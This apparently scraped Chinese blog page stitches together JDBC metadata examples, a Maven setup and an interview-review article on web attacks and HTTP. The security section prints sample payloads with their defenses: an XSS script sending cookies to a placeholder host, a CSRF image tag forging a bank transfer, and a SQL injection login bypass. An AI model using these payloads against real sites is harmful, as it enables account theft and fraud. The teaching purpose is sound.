public void testFindAllCatalogs() throws Exception {
    //获取元数据
    DatabaseMetaData metaData = conn.getMetaData();
    //获取数据库列表
    ResultSet rs = metaData.getCatalogs();
    //遍历获取所有数据库表
    while (rs.next()) {
        //打印数据库名称
        System.out.println(rs.getString(1));
    }
    //释放资源
    rs.close();
    conn.close();
}

（3）获取某数据库中的所有表信息

@Test
public void testFindAllTable() throws Exception {
    //获取元数据
    DatabaseMetaData metaData = conn.getMetaData();
    //获取所有的数据库表信息
    ResultSet rs = metaData.getTables("库名", "%", "%", new String[]{"TABLE"});
    //拼装table
    while (rs.next()) {
        //所属数据库
        System.out.println(rs.getString(1));
        //所属schema
        System.out.println(rs.getString(2));
        //表名
        System.out.println(rs.getString(3));
        //数据库表类型
        System.out.println(rs.getString(4));
        //数据库表备注
        System.out.println(rs.getString(5));
        System.out.println("--------------");
    }
}

（4）获取某张表所有的列信息

@Test
public void testFindAllColumns() throws Exception {
    //获取元数据
    DatabaseMetaData metaData = conn.getMetaData();
    //获取所有的数据库某张表所有列信息
    ResultSet rs = metaData.getColumns("库名", "%", "表名","%");

    while(rs.next()) {
        //表名
        System.out.println(rs.getString("TABLE_NAME"));
        //列名
        System.out.println(rs.getString("COLUMN_NAME"));
        //类型码值
        System.out.println(rs.getString("DATA_TYPE"));
        //类型名称
        System.out.println(rs.getString("TYPE_NAME"));
        //列的大小
        System.out.println(rs.getString("COLUMN_SIZE"));
        //小数部分位数,不适用的类型会返回null
        System.out.println(rs.getString("DECIMAL_DIGITS"));
        //是否允许使用null
        System.out.println(rs.getString("NULLABLE"));
        //列的注释信息
        System.out.println(rs.getString("REMARKS"));
        //默认值
        System.out.println(rs.getString("COLUMN_DEF"));
        //是否自增
        System.out.println(rs.getString("IS_AUTOINCREMENT"));
        //表中的列的索引（从 1 开始
        System.out.println(rs.getString("ORDINAL_POSITION"));
        System.out.println("--------------");
    }
}

3.4 参数元数据

参数元数据（ParameterMetaData）：是由PreparedStatement对象通过getParameterMetaData方法获取而来，主要是针对PreparedStatement对象和其预编译的SQL命令语句提供一些信息，ParameterMetaData能提供占位符参数的个数，获取指定位置占位符的SQL类型等等以下有一些关于ParameterMetaData的常用方法：

getParameterCount：获取预编译SQL语句中占位符参数的个数

@Test
public void testParameterMetaData() throws Exception {
    String sql = "select * from health.t_checkgroup where id=? and code=?";
    PreparedStatement pstmt = conn.prepareStatement(sql);
    pstmt.setString(1, "7");
    pstmt.setString(2, "0003");
    //获取ParameterMetaData对象
    ParameterMetaData paramMetaData = pstmt.getParameterMetaData();
    //获取参数个数
    int paramCount = paramMetaData.getParameterCount();
    System.out.println(paramCount);
}

3.5 结果集元数据

结果集元数据（ResultSetMetaData）：是由ResultSet对象通过getMetaData方法获取而来，主要是针对由数据库执行的SQL脚本命令获取的结果集对象ResultSet中提供的一些信息，比如结果集中的列数、指定列的名称、指定列的SQL类型等等，可以说这个是对于框架来说非常重要的一个对象。以下有一些关于ResultSetMetaData的常用方法：

getColumnCount：获取结果集中列项目的个数
getColumnType：获取指定列的SQL类型对应于Java中Types类的字段
getColumnTypeName：获取指定列的SQL类型
getClassName：获取指定列SQL类型对应于Java中的类型(包名加类名

@Test
public void testResultSetMetaData() throws Exception {
    String sql = "select * from health.t_checkgroup where id=?";
    PreparedStatement pstmt = conn.prepareStatement(sql);
    pstmt.setString(1, "7");
    //执行sql语句
    ResultSet rs = pstmt.executeQuery();
    //获取ResultSetMetaData对象
    ResultSetMetaData metaData = rs.getMetaData();
    //获取查询字段数量
    int columnCount = metaData.getColumnCount();
    System.out.println("字段总数量："+ columnCount);
    for (int i = 1; i <= columnCount; i++) {
        //获取表名称
        System.out.println(metaData.getColumnName(i));
        //获取java类型
        System.out.println(metaData.getColumnClassName(i));
        //获取sql类型
        System.out.println(metaData.getColumnTypeName(i));
        System.out.println("----------");
    }
}

4 代码生成器环境搭建

4.1 创建maven工程

创建maven工程并导入以下依赖

<properties>
    <java.version>11</java.version>
    <!-- 项目源码及编译输出的编码 -->
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
    <!-- 项目编译JDK版本 -->
    <maven.compiler.source>11</maven.compiler.source>
    <maven.compiler.target>11</maven.compiler.target>
</properties>

<dependencies>
    <dependency>
        <groupId>org.freemarker</groupId>
        <artifactId>freemarker</artifactId>
        <version>2.3.23</version>
    </dependency>
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>5.1.47</version>
    </dependency>
    <dependency>
        <groupId>org.projectlombok</groupId>
        <artifactId>lombok</artifactId>
        <version>1.18.8</version>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-lang3</artifactId>
        <version>3.10</version>
    </dependency>
</dependencies>

目录结构如下

注我的微信公众号：后端技术漫谈

不定期推送关于后端开发、爬虫、算法题、数据结构方面的原创技术文章，以及生活中的逸闻趣事。

我目前是一名后端开发工程师。主要关注后端开发，数据安全，网络爬虫，物联网，边缘计算等方向。

原创博客主要内容

Java知识点复习全手册
Leetcode算法题解析
剑指offer算法题解析
SpringCloud菜鸟入门实战系列
SpringBoot菜鸟入门实战系列
Python爬虫相关技术文章
后端开发相关技术文章

前言

本文快速回顾了常考的的知识点，用作面试复习，事半功倍。

面试知识点复习手册

全复习手册文章导航

Csdn全复习手册文章导航：

https://blog.csdn.net/qqxx6661/article/details/86775594

已发布知识点复习手册

Java基础知识点面试手册
Java容器（List、Set、Map）知识点快速复习手册
Java并发知识点快速复习手册（上）
Java并发知识点快速复习手册（下）
Java虚拟机知识点快速复习手册（上）
Java虚拟机知识点快速复习手册（下）
快速梳理23种常用的设计模式
Redis基础知识点面试手册
Leetcode题解分类汇总（前150题）
面试常问的小算法总结
查找算法总结及其部分算法实现Python/Java
排序算法实现与总结Python/Java
HTTP应知应会知识点复习手册（上）
……等（请查看全复习手册导航）

本文参考

本文内容主要参考来自CyC2018的Github仓库：CS-Notes

有删减，修改，补充额外增加内容

本作品采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可。

--------------------正文-----------------------

Web 攻击技术

跨站脚本攻击XSS

还可参考：https://blog.csdn.net/lpjishu/article/details/50917092

1. 概念

跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。

例如有一个论坛网站，攻击者可以在上面发布以下内容：

<script>location.href="//domain.com/?c=" + document.cookie</script>

之后该内容可能会被渲染成以下形式：

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。

2. 危害

窃取用户的 Cookie 值
伪造虚假的输入表单骗取个人信息
显示伪造的文章或者图片

3. 防范手段

（一）设置 Cookie 为 HttpOnly

设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，在一定程度上可以防止 XSS 窃取用户的 Cookie 信息。

（二）过滤特殊字符

许多语言都提供了对 HTML 的过滤：

PHP 的 htmlentities() 或是 htmlspecialchars()。
Python 的 cgi.escape()。
Java 的 xssprotect (Open Source Library)。
Node.js 的 node-validator。

例如 htmlspecialchars() 可以将 < 转义为 <，将 > 转义为 >，从而避免 HTML 和 Javascript 代码的运行。

（三）富文本编辑器的处理

富文本编辑器允许用户输入 HTML 代码，就不能简单地将 < 等字符进行过滤了，极大地提高了 XSS 攻击的可能性。

富文本编辑器通常采用 XSS filter 来防范 XSS 攻击，可以定义一些标签白名单或者黑名单，从而不允许有攻击性的 HTML 代码的输入。

以下例子中，form 和 script 等标签都被转义，而 h 和 p 等标签将会保留。

XSS 过滤在线测试

跨站请求伪造CSRF

XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。

1. 概念

跨站请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。

假如一家银行用以执行转账操作的 URL 地址如下：

http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。

那么，一个恶意攻击者可以在另一个网站上放置如下代码：

<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。

如果有账户名为 Alice 的用户访问了恶意站点，而她之前刚访问过银行不久，登录信息尚未过期，那么她就会损失 1000 资金。

这种恶意的网址可以有很多种形式，藏身于网页中的许多地方。此外，攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛，博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话，用户即使访问熟悉的可信网站也有受攻击的危险。

透过例子能够看出，攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权，也不能直接窃取用户的任何信息。他们能做到的，是欺骗用户浏览器，让其以用户的名义执行操作。

2. 防范手段

（一）检查 Referer 字段

HTTP 头中有一个 Referer 字段，这个字段用于标明请求来源于哪个地址。在处理敏感数据请求时，通常来说，Referer 字段应和请求的地址位于同一域名下，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。

（二）添加校验 Token

由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址，所以如果要求在访问敏感数据请求时，要求用户浏览器提供不保存在 Cookie 中，并且攻击者无法伪造的数据作为校验，那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中，其内容是一个伪乱数。当客户端通过表单提交请求时，这个伪乱数也一并提交上去以供校验。

正常的访问时，客户端浏览器能够正确得到并传回这个伪乱数，而通过 CSRF 传来的欺骗性攻击中，攻击者无从事先得知这个伪乱数的值，服务器端就会因为校验 Token 的值为空或者错误，拒绝这个可疑请求。

（三）要求用户输入验证码来进行校验。

SQL 注入攻击

1. 概念

服务器上的数据库运行非法的 SQL 语句，主要通过拼接来完成。

2. 攻击原理

例如一个网站登录验证的 SQL 查询代码为：

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

如果填入以下内容：

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";

那么 SQL 查询字符串为：

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

此时无需验证通过就能执行以下查询：

strSQL = "SELECT * FROM users;"

3. 防范手段

（一）使用参数化查询（不进行拼接）

以下以 Java 中的 PreparedStatement 为例，它是预先编译的 SQL 语句，可以传入适当参数并且多次执行。由于没有拼接的过程，因此可以防止 SQL 注入的发生。

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

（二）单引号转换

将传入的参数中的单引号转换为连续两个单引号

（三）检查变量数据类型和格式

拒绝服务攻击

拒绝服务攻击（denial-of-service attack，DoS），亦称洪水攻击，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。

分布式拒绝服务攻击（distributed denial-of-service attack，DDoS），指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。

维基百科：拒绝服务攻击

基础概念

URI

URI 包含 URL 和 URN。

URI（Uniform Resource Identifier，统一资源标识符）
URL（Uniform Resource Locator，统一资源定位符）
URN（Uniform Resource Name，统一资源名称）

在这里插入图片描述

HTTP请求报文和HTTP响应报文

HTTP请求报文

一个HTTP请求报文由请求行（request line）、请求头部（header）、空行和请求数据4个部分组成，下图给出了请求报文的一般格式。

＜request-line＞ 请求行
＜headers＞ 请求头
＜blank line＞ 空格
＜request-body＞ 请求数据

在这里插入图片描述

HTTP响应报文

HTTP响应也由三个部分组成，分别是：状态行、消息报头、响应正文。

＜status-line＞
＜headers＞
＜blank line＞
＜response-body＞

在这里插入图片描述

GET

获取资源

当前网络请求中，绝大部分使用的是 GET 方法。

HEAD

获取报文首部

和 GET 方法一样，但是不返回报文实体主体部分。

主要用于确认 URL 的有效性以及资源更新的日期时间等。

POST

传输实体主体

POST 主要用来传输数据，而 GET 主要用来获取资源。

更多 POST 与 GET 的比较请见第八章。

PUT

上传文件

由于自身不带验证机制，任何人都可以上传文件，因此存在安全性问题，一般不使用该方法

PATCH

对资源进行部分修改

PUT 也可以用于修改资源，但是只能完全替代原始资源，PATCH 允许部分修改。

DELETE

删除文件

与 PUT 功能相反，并且同样不带验证机制。

DELETE /file.html HTTP/1.1

OPTIONS

查询支持的方法

查询指定的 URL 能够支持的方法。

会返回 Allow: GET, POST, HEAD, OPTIONS 这样的内容。

CONNECT

要求用隧道协议连接代理

要求在与代理服务器通信时建立隧道，使用 SSL（Secure Sockets Layer，安全套接层）和 TLS（Transport Layer Security，传输层安全）协议把通信内容加密后经网络隧道传输。

在这里插入图片描述

TRACE

追踪路径

服务器会将通信路径返回给客户端。

发送请求时，在 Max-Forwards 首部字段中填入数值，每经过一个服务器就会减 1，当数值为 0 时就停止传输。

通常不会使用 TRACE，并且它容易受到 XST 攻击（Cross-Site Tracing，跨站追踪），因此更不会去使用它。

HTTP Header

有 4 种类型的首部字段：通用首部字段、请求首部字段、响应首部字段和实体首部字段。

各种首部字段及其含义如下（不需要全记，仅供查阅）：

通用首部字段

首部字段名 说明 Cache-Control 控制缓存的行为 Connection 控制不再转发给代理的首部字段、管理持久连接 Date 创建报文的日期时间 Pragma 报文指令 Trailer 报文末端的首部一览 Transfer-Encoding 指定报文主体的传输编码方式 Upgrade 升级为其他协议 Via 代理服务器的相关信息 Warning 错误通知

请求首部字段

首部字段名 说明 Accept 用户代理可处理的媒体类型 Accept-Charset 优先的字符集 Accept-Encoding 优先的内容编码 Accept-Language 优先的语言（自然语言） Authorization Web 认证信息 Expect 期待服务器的特定行为 From 用户的电子邮箱地址 Host 请求资源所在服务器 If-Match 比较实体标记（ETag） If-Modified-Since 比较资源的更新时间 If-None-Match 比较实体标记（与 If-Match 相反） If-Range 资源未更新时发送实体 Byte 的范围请求 If-Unmodified-Since 比较资源的更新时间（与 If-Modified-Since 相反） Max-Forwards 最大传输逐跳数 Proxy-Authorization 代理服务器要求客户端的认证信息 Range 实体的字节范围请求 Referer 对请求中 URI 的原始获取方 TE 传输编码的优先级 User-Agent HTTP 客户端程序的信息

响应首部字段

首部字段名 说明 Accept-Ranges 是否接受字节范围请求 Age 推算资源创建经过时间 ETag 资源的匹配信息 Location 令客户端重定向至指定 URI Proxy-Authenticate 代理服务器对客户端的认证信息 Retry-After 对再次发起请求的时机要求 Server HTTP 服务器的安装信息 Vary 代理服务器缓存的管理信息 WWW-Authenticate 服务器对客户端的认证信息

实体首部字段

首部字段名 说明 Allow 资源可支持的 HTTP 方法 Content-Encoding 实体主体适用的编码方式 Content-Language 实体主体的自然语言 Content-Length 实体主体的大小 Content-Location 替代对应资源的 URI Content-MD5 实体主体的报文摘要 Content-Range 实体主体的位置范围 Content-Type 实体主体的媒体类型 Expires 实体主体过期的日期时间 Last-Modified 资源的最后修改日期时间

具体应用

Cookie

HTTP/1.1 引入 Cookie 来保存状态信息。

1. 用途

会话状态管理（如用户登录状态、购物车、游戏分数或其它需要记录的信息）
个性化设置（如用户自定义设置、主题等）
浏览器行为跟踪（如跟踪分析用户行为等）

由于服务器指定 Cookie 后，浏览器的每次请求都会携带 Cookie 数据，会带来额外的性能开销（尤其是在移动环境下）。

新的浏览器 API 已经允许开发者直接将数据存储到本地，如使用 Web storage API （本地存储和会话存储）或 IndexedDB。

2. 创建过程

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

客户端之后对同一个服务器发送请求时，会从浏览器中取出 Cookie 信息并通过 Cookie 请求首部字段发送给服务器。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

3. 分类

会话期 Cookie：浏览器关闭之后它会被自动删除，也就是说它仅在会话期内有效。
持久性 Cookie：指定一个特定的过期时间（Expires）或有效期（Max-Age）之后就成为了持久性的 Cookie。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

4. 作用域

Domain 标识指定了哪些主机可以接受 Cookie。如果不指定，默认为当前文档的主机（不包含子域名）。如果指定了 Domain，则一般包含子域名。例如，如果设置 Domain=mozilla.org，则 Cookie 也包含在子域名中（如 developer.mozilla.org）。

Path 标识指定了主机下的哪些路径可以接受 Cookie（该 URL 路径必须存在于请求 URL 中）。以字符 %x2F ("/") 作为路径分隔符，子路径也会被匹配。例如，设置 Path=/docs，则以下地址都会匹配：

/docs
/docs/Web/
/docs/Web/HTTP

5. JavaScript

通过 Document.cookie 属性可创建新的 Cookie，也可通过该属性访问非 HttpOnly 标记的 Cookie。

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);

6. Secure 和 HttpOnly

标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记，敏感信息也不应该通过 Cookie 传输，因为 Cookie 有其固有的不安全性，Secure 标记也无法提供确实的安全保障。
标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。因为跨域脚本 (XSS) 攻击常常使用 JavaScript 的 Document.cookie API 窃取用户的 Cookie 信息，因此使用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

7. Session和cookie选择

除了可以将用户信息通过 Cookie 存储在用户浏览器中，也可以利用 Session 存储在服务器端，存储在服务器端的信息更加安全。

Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在 Redis 这种内存型数据库中，效率会更高。

使用 Session 维护用户登录状态的过程如下：

用户进行登录时，用户提交包含用户名和密码的表单，放入 HTTP 请求报文中；
服务器验证该用户名和密码，如果正确则把用户信息存储到 Redis 中，它在 Redis 中的 Key 称为 Session ID；
服务器返回的响应报文的 Set-Cookie 首部字段包含了这个 Session ID，客户端收到响应报文之后将该 Cookie 值存入浏览器中；
客户端之后对同一个服务器进行请求时会包含该 Cookie 值，服务器收到之后提取出 Session ID，从 Redis 中取出用户信息，继续之前的业务操作。

应该注意 Session ID 的安全性问题，不能让它被恶意攻击者轻易获取，那么就不能产生一个容易被猜到的 Session ID 值。此外，还需要经常重新生成 Session ID。在对安全性要求极高的场景下，例如转账等操作，除了使用 Session 管理用户状态之外，还需要对用户进行重新验证，比如重新输入密码，或者使用短信验证码等方式。

从存储方式上比较 Cookie只能存储字符串，如果要存储非ASCII字符串还要对其编码。 Session可以存储任何类型的数据，可以把Session看成是一个容器
从隐私安全上比较 Cookie存储在浏览器中，对客户端是可见的。信息容易泄露出去。如果使用Cookie，最好将Cookie加密 Session存储在服务器上，对客户端是透明的。不存在敏感信息泄露问题。
从有效期上比较 Cookie保存在硬盘中，只需要设置maxAge属性为比较大的正整数，即使关闭浏览器，Cookie还是存在的 Session的保存在服务器中，设置maxInactiveInterval属性值来确定Session的有效期。并且Session依赖于名为JSESSIONID的Cookie，该Cookie默认的maxAge属性为-1。如果关闭了浏览器，该Session虽然没有从服务器中消亡，但也就失效了。
从对服务器的负担比较 Session是保存在服务器的，每个用户都会产生一个Session，如果是并发访问的用户非常多，是不能使用Session的，Session会消耗大量的内存。 Cookie是保存在客户端的。不占用服务器的资源。像baidu、Sina这样的大型网站，一般都是使用Cookie来进行会话跟踪。
从浏览器的支持上比较如果浏览器禁用了Cookie，那么Cookie是无用的了！如果浏览器禁用了Cookie，Session可以通过URL地址重写来进行会话跟踪。
从跨域名上比较 Cookie可以设置domain属性来实现跨域名 Session只在当前的域名内有效，不可夸域名

缓存

1. 优点

缓解服务器压力；
减低客户端获取资源的延迟（缓存资源比服务器上的资源离客户端更近）。

2. 实现方法

让代理服务器进行缓存；
让客户端浏览器进行缓存。

3. Cache-Control

HTTP/1.1 通过 Cache-Control 首部字段来控制缓存。

（一）禁止进行缓存

no-store 指令规定不能对请求或响应的任何一部分进行缓存。

Cache-Control: no-store

（二）强制确认缓存

no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源的有效性，只有当缓存资源有效才将能使用该缓存对客户端的请求进行响应。

Cache-Control: no-cache

（三）私有缓存和公共缓存

private 指令规定了将资源作为私有缓存，只能被单独用户所使用，一般存储在用户浏览器中。

Cache-Control: private

public 指令规定了将资源作为公共缓存，可以被多个用户所使用，一般存储在代理服务器中。

Cache-Control: public

（四）缓存过期机制

max-age 指令出现在请求报文中，并且缓存资源的缓存时间小于该指令指定的时间，那么就能接受该缓存。

max-age 指令出现在响应报文中，表示缓存资源在缓存服务器中保存的时间。

Cache-Control: max-age=31536000

Expires 字段也可以用于告知缓存服务器该资源什么时候会过期。在 HTTP/1.1 中，会优先处理 Cache-Control : max-age 指令；而在 HTTP/1.0 中，Cache-Control : max-age 指令会被忽略掉。

Expires: Wed, 04 Jul 2012 08:26:05 GMT

4. 缓存验证

需要先了解 ETag 首部字段的含义，它是资源的唯一表示。URL 不能唯一表示资源，例如 http://www.google.com/ 有中文和英文两个资源，只有 ETag 才能对这两个资源进行唯一表示。

ETag: "82e22293907ce725faf67773957acd12"

可以将缓存资源的 ETag 值放入 If-None-Match 首部，服务器收到该请求后，判断缓存资源的 ETag 值和资源的最新 ETag 值是否一致，如果一致则表示缓存资源有效，返回 304 Not Modified。

If-None-Match: "82e22293907ce725faf67773957acd12"

Last-Modified 首部字段也可以用于缓存验证，它包含在源服务器发送的响应报文中，指示源服务器对资源的最后修改时间。但是它是一种弱校验器，因为只能精确到一秒，所以它通常作为 ETag 的备用方案。如果响应首部字段里含有这个信息，客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回，状态码为 200 OK。如果请求的资源从那时起未经修改，那么返回一个不带有消息主体的 304 Not Modified 响应，

Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT

If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT

连接管理

[图片上传失败…(image-3cf4fc-1550224161268)]

1. 短连接与长连接

HTTP/1.1 开始默认是长连接的，如果要断开连接，需要由客户端或者服务器端提出断开，使用 Connection : close；
HTTP/1.1 之前默认是短连接的，如果需要长连接，则使用 Connection : Keep-Alive。

2. 流水线

默认情况下，HTTP 请求是按顺序发出的，下一个请求只有在当前请求收到应答过后才会被发出。由于会受到网络延迟和带宽的限制，在下一个请求被发送到服务器之前，可能需要等待很长时间。

流水线是在同一条长连接上发出连续的请求，而不用等待响应返回，这样可以避免连接延迟。

内容协商

通过内容协商返回最合适的内容，例如根据浏览器的默认语言选择返回中文界面还是英文界面。

1. 类型

1.1 服务端驱动型

客户端设置特定的 HTTP 首部字段，例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language，服务器根据这些字段返回特定的资源。

它存在以下问题：

服务器很难知道客户端浏览器的全部信息；
客户端提供的信息相当冗长（HTTP/2 协议的首部压缩机制缓解了这个问题），并且存在隐私风险（HTTP 指纹识别技术）；
给定的资源需要返回不同的展现形式，共享缓存的效率会降低，而服务器端的实现会越来越复杂。

1.2 代理驱动型

服务器返回 300 Multiple Choices 或者 406 Not Acceptable，客户端从中选出最合适的那个资源。

2. Vary

Vary: Accept-Language

在使用内容协商的情况下，只有当缓存服务器中的缓存满足内容协商条件时，才能使用该缓存，否则应该向源服务器请求该资源。

例如，一个客户端发送了一个包含 Accept-Language 首部字段的请求之后，源服务器返回的响应包含 Vary: Accept-Language 内容，缓存服务器对这个响应进行缓存之后，在客户端下一次访问同一个 URL 资源，并且 Accept-Language 与缓存中的对应的值相同时才会返回该缓存。

内容编码

内容编码将实体主体进行压缩，从而减少传输的数据量。常用的内容编码有：gzip、compress、deflate、identity。

浏览器发送 Accept-Encoding 首部，其中包含有它所支持的压缩算法，以及各自的优先级，服务器则从中选择一种，使用该算法对响应的消息主体进行压缩，并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的，在响应中，Vary 首部中至少要包含 Content-Encoding，这样的话，缓存服务器就可以对资源的不同展现形式进行缓存。

范围请求

如果网络出现中断，服务器只发送了一部分数据，范围请求可以使得客户端只请求服务器未发送的那部分数据，从而避免服务器重新发送所有数据。

1. Range

在请求报文中添加 Range 首部字段指定请求的范围。

GET /z4d4kWk.jpg HTTP/1.1
Host: i.imgur.com
Range: bytes=0-1023

请求成功的话服务器返回的响应包含 206 Partial Content 状态码。

2. Accept-Ranges

响应首部字段 Accept-Ranges 用于告知客户端是否能处理范围请求，可以处理使用 bytes，否则使用 none。

Accept-Ranges: bytes

3. 响应状态码

在请求成功的情况下，服务器会返回 206 Partial Content 状态码。
在请求的范围越界的情况下，服务器会返回 416 Requested Range Not Satisfiable 状态码。
在不支持范围请求的情况下，服务器会返回 200 OK 状态码。

分块传输编码

Chunked Transfer Coding，可以把数据分割成多块，让浏览器逐步显示页面。

多部分对象集合

一份报文主体内可含有多种类型的实体同时发送，每个部分之间用 boundary 字段定义的分隔符进行分隔，每个部分都可以有首部字段。

例如，上传多个表单时可以使用如下方式：

Content-Type: multipart/form-data; boundary=AaB03x

--AaB03x
Content-Disposition: form-data; name="submit-name"

Larry
--AaB03x
Content-Disposition: form-data; name="files"; filename="file1.txt"
Content-Type: text/plain

... contents of file1.txt ...
--AaB03x--

虚拟主机

HTTP/1.1 使用虚拟主机技术，使得一台服务器拥有多个域名，并且在逻辑上可以看成多个服务器。

通信数据转发

1. 代理

代理服务器接受客户端的请求，并且转发给其它服务器。

使用代理的主要目的是：

缓存
负载均衡
网络访问控制
访问日志记录

代理服务器分为正向代理和反向代理两种：

用户察觉得到正向代理的存在。
而反向代理一般位于内部网络中，用户察觉不到。

2. 网关

与代理服务器不同的是，网关服务器会将 HTTP 转化为其它协议进行通信，从而请求其它非 HTTP 服务器的服务。

3. 隧道

使用 SSL 等加密手段，为客户端和服务器之间建立一条安全的通信线路。

--------------------正文完-----------------------

关注我

我是一名后端开发工程师。主要关注后端开发，数据安全，网络爬虫，物联网，边缘计算等方向，欢迎交流。

各大平台都可以找到我

Github：@qqxx6661
CSDN：@Rude3Knife
知乎：@Zhendong
简书：@蛮三刀把刀
掘金：@蛮三刀把刀

原创博客主要内容

Java知识点复习全手册
Leetcode算法题解析
剑指offer算法题解析
SpringBoot菜鸟入门实战系列
SpringCloud菜鸟入门实战系列
爬虫相关技术文章
后端开发相关技术文章
逸闻趣事/好书分享/个人兴趣

个人公众号：后端技术漫谈

如果文章对你有帮助，不妨收藏起来并转发给您的朋友们~

在线咨询

上一篇：50个HTML5免费的Bootstrap模板：上
下一篇：前端入门-html 表单控件使用

您的项目需求

*请认真填写需求信息，我们会在24小时内与您取得联系。

整合营销服务商

markdown学习

markdown初级

我展示的是一级标题

我展示的是二级标题

一级标题

二级标题

三级标题

四级标题

五级标题

六级标题

markdown的段落格式

段落

字体

分割线

删除线

下划线

脚注

MarkDown锚点的使用

MarkDown插入视频

MarkDown列表

列表嵌套

MarkDown区块

区块中使用列表

列表中使用区块

事项清单

MarkDown代码

代码区块

MarkDown链接

高级链接

MarkDown图片

MarkDwon使用表格

表格的对齐方式

MarkDown高级技巧

支持html标签

转义

概述

1.1 介绍

1.2 实现思路

2 Freemarker

2.1 介绍

2.2 应用场景

2.3 快速入门

2.4 模版

2.4.1 基础语法种类

2.4.2 if指令

2.4.3 list指令

2.4.4 include指令

2.4.5 assign指令

2.4.6 运算符

2.4.7 空值处理

2.4.8 内建函数

2.4.9 静态化

3 数据库元数据

3.1 介绍

3.2 搭建环境

3.3 综合信息元数据

3.4 参数元数据

3.5 结果集元数据

4 代码生成器环境搭建

4.1 创建maven工程

前言

面试知识点复习手册

本文参考

--------------------正文-----------------------

Web 攻击技术

基础概念

HTTP Header

具体应用

--------------------正文完-----------------------

关注我

您的项目需求